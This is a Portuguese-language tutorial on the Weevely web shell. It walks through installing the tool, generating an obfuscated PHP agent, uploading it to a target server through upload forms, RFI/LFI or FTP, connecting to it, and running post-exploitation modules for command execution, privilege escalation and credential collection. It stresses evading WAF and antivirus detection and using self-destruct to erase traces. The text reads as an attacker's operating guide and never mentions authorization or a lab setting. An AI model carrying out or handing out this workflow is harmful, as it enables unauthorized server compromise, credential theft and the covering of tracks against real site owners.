### O que é o Weevely?
Weevely é um *web shell* furtivo escrito em Python que gera um agente PHP ofuscado. Quando esse script é carregado em um servidor alvo, o atacante conecta-se via `weevely.py` e obtém um terminal interativo, com dezenas de módulos para enumeração, pós-exploração e movimentação lateral.
#### Instalação e dependências
```
# Debian/Ubuntu
apt-get install g++ python3-pip libyaml-dev python3-dev
# Clonar repositório
git clone https://github.com/epinna/weevely3
cd weevely3
# Bibliotecas Python
pip3 install -r requirements.txt
```
#### Geração do payload
```
# Exemplo
./weevely.py generate senha123 shell.php
- **`<SENHA>`** cifra a comunicação (AES-256).
- **`<payload>.php`** é o agente que será enviado ao servidor.
```
#### Upload do Payloads
Carregue `shell.php` por qualquer vetor disponível (formulário de upload, RFI/LFI com escrita, FTP, etc.). O caminho público será utilizado na próxima etapa.
#### Estabelecendo a sessão
./weevely.py http://<alvo>/caminho/shell.php <SENHA>
Se a URL estiver acessível, surgirá o prompt:
weevely>
A troca de dados permanece criptografada dentro de requisições HTTP padrão, dificultando a detecção por WAF ou antivírus.
#### Comandos essenciais no prompt
:help → lista módulos disponíveis
:system_info → versão do SO, kernel, usuários logados
cd /dir → navegação de diretórios
ls -la → listagem de arquivos
download <arq> → baixa arquivo para sua máquina
upload <orig> <dest> → envia arquivo local ao alvo
:shell_exec <cmd> → executa comando diretamente no sistema
Os módulos com prefixo `:` são *pós-exploits* prontos, automatizando tarefas de persistência, elevação de privilégio e coleta de credenciais.
#### Funcionamento interno
1. **Agente PHP ofuscado** – Pequeno (~5 KB), usa apenas funções nativas.
2. **Canal criptografado** – Comandos e saídas trafegam cifrados pela senha definida.
3. **Extensibilidade remota** – Módulos Python são enviados sob demanda ao agente, ampliando capacidades sem reupload.
4. **Autolimpeza** – Módulo `:self_destruct` remove o shell e apaga rastros.
#### Encerrando e limpando rastros
weevely> :self_destruct
A ferramenta exclui o `shell.php` e encerra a sessão. Utilize ao finalizar a coleta ou para evitar detecção.
> **Fluxo resumido** – *Instalar dependências → gerar payload → fazer upload → conectar-se → usar módulos → autodestruir.*
>
> Weevely acelera a fase de pós-exploração em ambientes web, oferecendo um acesso criptografado e discreto com poucos comandos.